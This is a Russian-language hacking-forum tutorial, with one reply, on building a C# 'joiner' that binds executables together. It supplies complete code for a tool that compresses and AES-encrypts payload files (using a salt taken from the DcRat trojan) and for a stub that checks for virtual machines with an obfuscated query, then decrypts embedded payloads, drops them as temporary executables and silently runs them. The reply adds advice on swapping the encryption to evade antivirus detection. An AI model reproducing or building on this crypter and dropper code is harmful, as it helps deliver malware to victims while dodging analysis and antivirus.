и так всем привет сегодня я вам расскажу как сделать свой джойнер так же зашифровать все файлы для этого нам понадобится Visual Studio создаем консольный проект Net framework 4 или Net framework 4.5 называем ClassikJoiner а так же создаем второй и называем CripXos Можно любое название только придется менять название namespace Заходим в проекты и создаем там два файла Zip.cs так же не забываем если создаем файл в ClassikJoiner в коде не забыть поменять namespace CripXos на namespace ClassikJoiner using System; using System.IO; using System.IO.Compression; using System.Threading.Tasks; namespace CripXos { public static class Zip { public static byte[] Decompress(byte[] input) { using (var source = new MemoryStream(input)) { byte[] lengthBytes = new byte[4]; source.Read(lengthBytes, 0, 4); var length = BitConverter.ToInt32(lengthBytes, 0); using (var decompressionStream = new GZipStream(source, CompressionMode.Decompress)) { var result = new byte[length]; decompressionStream.Read(result, 0, length); return result; } } } public static byte[] Compress(byte[] input) { using (var result = new MemoryStream()) { var lengthBytes = BitConverter.GetBytes(input.Length); result.Write(lengthBytes, 0, 4); using (var compressionStream = new GZipStream(result, CompressionMode.Compress)) { compressionStream.Write(input, 0, input.Length); compressionStream.Flush(); } return result.ToArray(); } } } } Code using System; using System.IO; using System.IO.Compression; using System.Threading.Tasks; namespace CripXos { public static class Zip { public static byte[] Decompress(byte[] input) { using (var source = new MemoryStream(input)) { byte[] lengthBytes = new byte[4]; source.Read(lengthBytes, 0, 4); var length = BitConverter.ToInt32(lengthBytes, 0); using (var decompressionStream = new GZipStream(source, CompressionMode.Decompress)) { var result = new byte[length]; decompressionStream.Read(result, 0, length); return result; } } } public static byte[] Compress(byte[] input) { using (var result = new MemoryStream()) { var lengthBytes = BitConverter.GetBytes(input.Length); result.Write(lengthBytes, 0, 4); using (var compressionStream = new GZipStream(result, CompressionMode.Compress)) { compressionStream.Write(input, 0, input.Length); compressionStream.Flush(); } return result.ToArray(); } } } } файл Aes256.cs using System; using System.IO; using System.Runtime.CompilerServices; using System.Security.Cryptography; using System.Text; namespace CripXos { public class Aes256 { private const int KeyLength = 32; private const int AuthKeyLength = 64; private readonly byte[] _key; private const int IvLength = 16; private const int HmacSha256Length = 32; private readonly byte[] _authKey; private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun"); public Aes256(string masterKey) { if (string.IsNullOrEmpty(masterKey)) throw new ArgumentException($"{nameof(masterKey)} can not be null or empty."); using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000)) { _key = derive.GetBytes(KeyLength); _authKey = derive.GetBytes(AuthKeyLength); } } public string Encrypt(string input) { return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); } /* FORMAT * ---------------------------------------- * | HMAC | IV | CIPHERTEXT | * ---------------------------------------- * 32 bytes 16 bytes */ public byte[] Encrypt(byte[] input) { if (input == null) throw new ArgumentNullException($"{nameof(input)} can not be null."); using (var ms = new MemoryStream()) { ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC using (var aesProvider = new AesCryptoServiceProvider()) { aesProvider.KeySize = 256; aesProvider.BlockSize = 128; aesProvider.Mode = CipherMode.CBC; aesProvider.Padding = PaddingMode.PKCS7; aesProvider.Key = _key; aesProvider.GenerateIV(); using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) { ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext cs.Write(input, 0, input.Length); cs.FlushFinalBlock(); using (var hmac = new HMACSHA256(_authKey)) { byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext ms.Position = 0; // write hash at beginning ms.Write(hash, 0, hash.Length); } } } return ms.ToArray(); } } public string Decrypt(string input) { return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input))); } public byte[] Decrypt(byte[] input) { if (input == null) throw new ArgumentNullException($"{nameof(input)} can not be null."); using (var ms = new MemoryStream(input)) { using (var aesProvider = new AesCryptoServiceProvider()) { aesProvider.KeySize = 256; aesProvider.BlockSize = 128; aesProvider.Mode = CipherMode.CBC; aesProvider.Padding = PaddingMode.PKCS7; aesProvider.Key = _key; // read first 32 bytes for HMAC using (var hmac = new HMACSHA256(_authKey)) { var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); byte[] receivedHash = new byte[HmacSha256Length]; ms.Read(receivedHash, 0, receivedHash.Length); if (!AreEqual(hash, receivedHash)) throw new CryptographicException("Invalid message authentication code (MAC)."); } byte[] iv = new byte[IvLength]; ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext aesProvider.IV = iv; using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) { byte[] temp = new byte[ms.Length - IvLength + 1]; byte[] data = new byte[cs.Read(temp, 0, temp.Length)]; Buffer.BlockCopy(temp, 0, data, 0, data.Length); return data; } } } } /// <summary> /// Compares two byte arrays for equality. /// </summary> /// <param name="a1">Byte array to compare</param> /// <param name="a2">Byte array to compare</param> /// <returns>True if equal, else false</returns> /// <remarks> /// Assumes that the byte arrays have the same length. /// This method is safe against timing attacks. /// </remarks> [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] private bool AreEqual(byte[] a1, byte[] a2) { bool result = true; for (int i = 0; i < a1.Length; ++i) { if (a1[i] != a2[i]) result = false; } return result; } } } Code using System; using System.IO; using System.Runtime.CompilerServices; using System.Security.Cryptography; using System.Text; namespace CripXos { public class Aes256 { private const int KeyLength = 32; private const int AuthKeyLength = 64; private readonly byte[] _key; private const int IvLength = 16; private const int HmacSha256Length = 32; private readonly byte[] _authKey; private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun"); public Aes256(string masterKey) { if (string.IsNullOrEmpty(masterKey)) throw new ArgumentException($"{nameof(masterKey)} can not be null or empty."); using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000)) { _key = derive.GetBytes(KeyLength); _authKey = derive.GetBytes(AuthKeyLength); } } public string Encrypt(string input) { return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); } /* FORMAT * ---------------------------------------- * | HMAC | IV | CIPHERTEXT | * ---------------------------------------- * 32 bytes 16 bytes */ public byte[] Encrypt(byte[] input) { if (input == null) throw new ArgumentNullException($"{nameof(input)} can not be null."); using (var ms = new MemoryStream()) { ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC using (var aesProvider = new AesCryptoServiceProvider()) { aesProvider.KeySize = 256; aesProvider.BlockSize = 128; aesProvider.Mode = CipherMode.CBC; aesProvider.Padding = PaddingMode.PKCS7; aesProvider.Key = _key; aesProvider.GenerateIV(); using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) { ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext cs.Write(input, 0, input.Length); cs.FlushFinalBlock(); using (var hmac = new HMACSHA256(_authKey)) { byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext ms.Position = 0; // write hash at beginning ms.Write(hash, 0, hash.Length); } } } return ms.ToArray(); } } public string Decrypt(string input) { return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input))); } public byte[] Decrypt(byte[] input) { if (input == null) throw new ArgumentNullException($"{nameof(input)} can not be null."); using (var ms = new MemoryStream(input)) { using (var aesProvider = new AesCryptoServiceProvider()) { aesProvider.KeySize = 256; aesProvider.BlockSize = 128; aesProvider.Mode = CipherMode.CBC; aesProvider.Padding = PaddingMode.PKCS7; aesProvider.Key = _key; // read first 32 bytes for HMAC using (var hmac = new HMACSHA256(_authKey)) { var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); byte[] receivedHash = new byte[HmacSha256Length]; ms.Read(receivedHash, 0, receivedHash.Length); if (!AreEqual(hash, receivedHash)) throw new CryptographicException("Invalid message authentication code (MAC)."); } byte[] iv = new byte[IvLength]; ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext aesProvider.IV = iv; using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) { byte[] temp = new byte[ms.Length - IvLength + 1]; byte[] data = new byte[cs.Read(temp, 0, temp.Length)]; Buffer.BlockCopy(temp, 0, data, 0, data.Length); return data; } } } } /// <summary> /// Compares two byte arrays for equality. /// </summary> /// <param name="a1">Byte array to compare</param> /// <param name="a2">Byte array to compare</param> /// <returns>True if equal, else false</returns> /// <remarks> /// Assumes that the byte arrays have the same length. /// This method is safe against timing attacks. /// </remarks> [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] private bool AreEqual(byte[] a1, byte[] a2) { bool result = true; for (int i = 0; i < a1.Length; ++i) { if (a1[i] != a2[i]) result = false; } return result; } } } когда два файла созданы заходим в файл Program.cs в проекте CripXos и пишем туда код using System; using System.IO; namespace CripXos { class Program { static void Main(string[] args) { Console.Write("Path: "); string path = Console.ReadLine(); File.WriteAllBytes(path + ".ss", new Aes256("Masters").Encrypt(Zip.Compress(File.ReadAllBytes(path)))); } } } Code using System; using System.IO; namespace CripXos { class Program { static void Main(string[] args) { Console.Write("Path: "); string path = Console.ReadLine(); File.WriteAllBytes(path + ".ss", new Aes256("Masters").Encrypt(Zip.Compress(File.ReadAllBytes(path)))); } } } теперь идем в проект ClassikJoiner создаем файл в вкладке добавить ищем файл ресурсов и добавляем и пишем код в файле Program.cs using System; using System.Collections.Generic; using System.Linq; using System.IO; using System.Diagnostics; using System.Management; using System.Threading; namespace ClassikJoiner { public static class StringExtensions { public static string Reverse(this string input) { return new string(input.ToCharArray().Reverse().ToArray()); } } class Program { public static void RunAntiAnalysis() { if (isVM_by_wim_temper()) { Environment.FailFast(null); } Thread.Sleep(1000); } //анти виртуалка public static bool isVM_by_wim_temper() { //SelectQuery selectQuery = new SelectQuery("Select * from Win32_Fan"); SelectQuery selectQuery = new SelectQuery("yromeMehcaC_23niW morf * tceleS".Reverse()); //SelectQuery selectQuery = new SelectQuery("Select * from CIM_Memory"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery); int i = 0; foreach (ManagementObject DeviceID in searcher.Get()) i++; return (i == 0); } public static void Run(byte[] Buff) { string temp = Path.GetTempFileName() + ".exe"; try { File.WriteAllBytes(temp, Zip.Decompress(new Aes256("Masters").Decrypt(Buff))); Process.Start(temp); } catch { } } static void Main(string[] args) { RunAntiAnalysis(); } } } Code using System; using System.Collections.Generic; using System.Linq; using System.IO; using System.Diagnostics; using System.Management; using System.Threading; namespace ClassikJoiner { public static class StringExtensions { public static string Reverse(this string input) { return new string(input.ToCharArray().Reverse().ToArray()); } } class Program { public static void RunAntiAnalysis() { if (isVM_by_wim_temper()) { Environment.FailFast(null); } Thread.Sleep(1000); } //анти виртуалка public static bool isVM_by_wim_temper() { //SelectQuery selectQuery = new SelectQuery("Select * from Win32_Fan"); SelectQuery selectQuery = new SelectQuery("yromeMehcaC_23niW morf * tceleS".Reverse()); //SelectQuery selectQuery = new SelectQuery("Select * from CIM_Memory"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery); int i = 0; foreach (ManagementObject DeviceID in searcher.Get()) i++; return (i == 0); } public static void Run(byte[] Buff) { string temp = Path.GetTempFileName() + ".exe"; try { File.WriteAllBytes(temp, Zip.Decompress(new Aes256("Masters").Decrypt(Buff))); Process.Start(temp); } catch { } } static void Main(string[] args) { RunAntiAnalysis(); } } } а теперь как это использовать мы запускаем компиляцию проекта CripXos затем кидаем путь файла который мы хотим склеить и так же можно кинуть еще файлов в той папке где находился файл путь которого вы скопировали в консоль будет находится такой жей файл с расширением .ss после чего мы идем в проект ClassikJoiner нажимаем правую кнопку мыши свойства и выбираем тип входных данных Приложение Windows затем заходим в ссылки добавить ссылку и сборки находим System.Management и добавляем и заходим в файл ресурсов Resource1.resx и ищем сверху вкладку там скорей всего будет написано строки выберите файлы затем кидайте все туда файлы которые с расширением .ss и дописываем код в Main Run(Resource1.имяфайла.ss); затем компилируем в Release проект заходим в папку с проектом ClassikJoiner затем в папку Bin Release и там будет файл ClassikJoiner.exe это ваши склеенные файлы прошу не ругаться на мой код и на столь кустарный способ :podumai:
Блин, симпу оставлю, пусть и баян, но шифрование то что подкрутил+ сжатие- молодец. Хотел сказать, что лучше использовать шифрования без зависимостей, те System.Secur= детекты через пару часов. Посоветую хор(реализация в несколько строк), вполне нормально и реализовать просто. The post was merged to previous Aug 28, 2021 гзип можно по проще реализовать)